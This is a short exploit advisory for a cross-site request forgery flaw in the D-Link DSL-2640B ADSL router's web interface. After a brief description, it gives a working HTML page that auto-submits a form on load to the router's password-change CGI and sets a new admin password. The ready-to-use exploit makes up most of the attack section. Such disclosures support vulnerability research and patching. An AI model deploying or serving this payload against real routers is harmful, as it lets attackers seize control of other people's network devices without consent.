The D-Link DSL-2640B ADSL router suffers from a cross site request forgery vulnerability.
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# Exploit Title : D-Link DSL-2640B (ADSL Router) CSRF Vulnerability
# Date : 19-02-2012
# Author : Ivano Binetti (http://ivanobinetti.com)
# Vendor site : http://www.d-link.com
# Version : DSL-2640B
# Tested on : Firmware Version: EU_4.00; Hardware Version: B2
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+------------------------------------------[Change Admin Account Password by Ivano Binetti]--------------------------------------------------+
Summary
1)Introduction
2)Vulnerability Description
3)Exploit
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1)Introduction
D-Link DSL-2640B is an ADSL Router using (also) a web management interface.
2)Vulnerability Description
The D-Link DSL-2640B's web interface (listening on tcp/ip port 80) is prone to CSRF vulnerabilities which allows to change router
parameters and -among other things- to change default administrator("admin") password.
3)Exploit
<html>
<body onload="javascript:document.forms[0].submit()">
<H2>CSRF Exploit to change ADMIN password</H2>
<form method="POST" name="form0" action="http://192.168.1.1:80/redpass.cgi?sysPassword=new_password&change=1">
</form>
</body>
</html>
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